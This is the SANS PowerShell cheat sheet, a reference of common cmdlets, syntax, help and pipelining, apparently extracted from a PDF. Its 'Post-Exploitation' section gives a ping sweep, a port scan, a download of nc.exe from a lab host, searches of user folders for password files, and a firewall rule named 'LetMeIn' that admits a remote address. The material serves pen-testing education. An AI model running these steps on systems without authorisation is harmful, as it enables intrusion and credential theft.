SANS PowerShell Cheat Sheet
Purpose
The purpose of this cheat sheet is to describe some common options and techniques for
use in Microsoft’s PowerShell.
PowerShell Overview
PowerShell Background
PowerShell is the successor to command.com, cmd.exe and cscript. Initially released as a
separate download, it is now built in to all modern versions of Microsoft Windows.
PowerShell syntax takes the form of verb-noun patterns implemented in cmdlets.
Launching PowerShell
PowerShell is accessed by pressing Start -> typing powershell and pressing enter. Some
operations require administrative privileges and can be accomplished by launching
PowerShell as an elevated session. You can launch an elevated PowerShell by pressing Start
-> typing powershell and pressing Shift-CTRL-Enter.
Additionally, PowerShell cmdlets can be called from cmd.exe by typing:
C:\> powershell -c "<command>"
Useful Cmdlets (and aliases)
Get a director y listing (ls, dir, gci):
PS C:\> Get-ChildItem
Copy a file (cp, copy, cpi):
PS C:\> Copy-Item src.txt dst.txt
Move a file (mv, move, mi):
PS C:\> Move-Item src.txt dst.txt
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Find text within a file:
PS C:\> Select-String –path c:\users\*.txt –pattern password
PS C:\> ls -r c:\users\*.txt -file | % {Select-String -path $_ -
pattern password}
Display file contents (cat, type, gc):
PS C:\> Get-Content file.txt
Get present director y (pwd, gl):
PS C:\> Get-Location
Get a process listing (ps, gps):
PS C:\> Get-Process
Get a ser vice listing:
PS C:\> Get-Service
Formatting output of a command (Format-List):
PS C:\> ls | Format-List –property name
Paginating output:
PS C:\> ls –r | Out-Host -paging
Get the SHA1 hash of a file:
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PS C:\> Get-FileHash -Algorithm SHA1 file.txt
Expor ting output to CSV:
PS C:\> Get-Process | Export-Csv procs.csv
PowerShell for Pen-Tester Post-Exploitation
Conduct a ping sweep:
PS C:\> 1..255 | % {echo "10.10.10.$_";ping -n 1 -w 100
10.10.10.$_ | Select-String ttl}
Conduct a por t scan:
PS C:\> 1..1024 | % {echo ((new-object
Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is
open!"} 2>$null
Fetch a file via HTTP (wget in PowerShell):
PS C:\> (New-Object
System.Net.WebClient).DownloadFile("http://10.10.10.10/nc.exe","
nc.exe")
Find all files with a par ticular name:
PS C:\> Get-ChildItem "C:\Users\" -recurse -include
*passwords*.txt
Get a listing of all installed Microsoft Hotfixes:
PS C:\> Get-HotFix
Navigate the Windows registr y:
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PS C:\> cd HKLM:\
PS HKLM:\> ls
List programs set to star t automatically in the registr y:
PS C:\> Get-ItemProperty
HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run
Conver t string from ascii to Base64:
PS C:\>
[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.Ge
tBytes("PSFTW!"))
List and modify the Windows firewall rules:
PS C:\> Get-NetFirewallRule –all
PS C:\> New-NetFirewallRule -Action Allow -DisplayName LetMeIn -
RemoteAddress 10.10.10.25
Syntax
Cmdlets are small scripts that follow a dashseparated
verb-noun convention such as "Get-Process".
Similar Verbs with Different Actions:
New- Creates a new resource
Set- Modifies an existing resource
Get- Retrieves an existing resource
Read- Gets information from a source, such as a file
Find- Used to look for an object
Search- Used to create a reference to a resource
Star t- (asynchronous) begin an operation, such as starting a process
Invoke- (synchronous) perform an operation such as running a command
Parameters:
Each verb-noun named cmdlet may have many parameters to control cmdlet functionality.
Objects:
The output of most cmdlets are objects that can be passed to other cmdlets and further
acted upon. This becomes important in pipelining cmdlets.
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Finding Cmdlets
To get a list of all available cmdlets:
PS C:\> Get-Command
Get-Command suppor ts filtering. To filter cmdlets on the verb set:
PS C:\> Get-Command Set*
PS C:\> Get-Command –Verb Set
Or on the noun process:
PS C:\> Get-Command *Process
PS C:\> Get-Command –Noun process
Getting Help
To get help with help:
PS C:\> Get-Help
To read cmdlet self documentation:
PS C:\> Get-Help <cmdlet>
Detailed help:
PS C:\> Get-Help <cmdlet> -detailed
Usage examples:
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PS C:\> Get-Help <cmdlet> -examples
Full (ever ything) help:
PS C:\> Get-Help <cmdlet> -full
Online help (if available):
PS C:\> Get-Help <cmdlet> -online
Cmdlet Aliases
Aliases provide short references to long commands.
To list available aliases (alias alias):
PS C:\> Get-Alias
To expand an alias into a full name:
PS C:\> alias <unknown alias>
PS C:\> alias gcm
Efficient PowerShell
Tab completion:
PS C:\> get-child<TAB>
PS C:\> Get-ChildItem
Parameter shor tening:
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PS C:\> ls –recurse
is equivalent to:
PS C:\> ls -r
5 PowerShell Essentials
Shows help & examples
PS C:\> Get-Help [cmdlet] -examples
Alias
PS C:\> help [cmdlet] -examples
Shows a list of commands
PS C:\> Get-Command
Alias
PS C:\> gcm *[string]*
Shows proper ties & methods
PS C:\> [cmdlet] | Get-Member
Alias
PS C:\> [cmdlet] | gm
Takes each item on pipeline and handles it as $_
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PS C:\> ForEach-Object { $_ }
Alias
PS C:\> [cmdlet] | % { [cmdlet] $_ }
Searches for strings in files or output, like grep
PS C:\> Select-String
Alias
PS C:\> sls –path [file] –pattern [string]
Pipelining, Loops, and Variables
Piping cmdlet output to another cmdlet:
PS C:\> Get-Process | Format-List –property name
ForEach-Object in the pipeline (alias %):
PS C:\> ls *.txt | ForEach-Object {cat $_}
Where-Object condition (alias where or ?):
PS C:\> Get-Process | Where-Object {$_.name –eq "notepad"}
Generating ranges of numbers and looping:
PS C:\> 1..10
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PS C:\> 1..10 | % {echo "Hello!"}
Creating and listing variables:
PS C:\> $tmol = 42
PS C:\> ls variable:
Examples of passing cmdlet output down pipeline:
PS C:\> dir | group extension | sort
PS C:\> Get-Service dhcp | Stop-Service -PassThru | Set-Service
-StartupType Disabled
Additional Info
The original SANS PowerShell Pocket Reference Guide (B&W TriFold) is available here:
Original SANS PowerShell CheatSheet
A printable PDF version of the cheatsheet using this format is available here:
SANS PS CheatSheet
Cheat Sheet Version
Version 4.0
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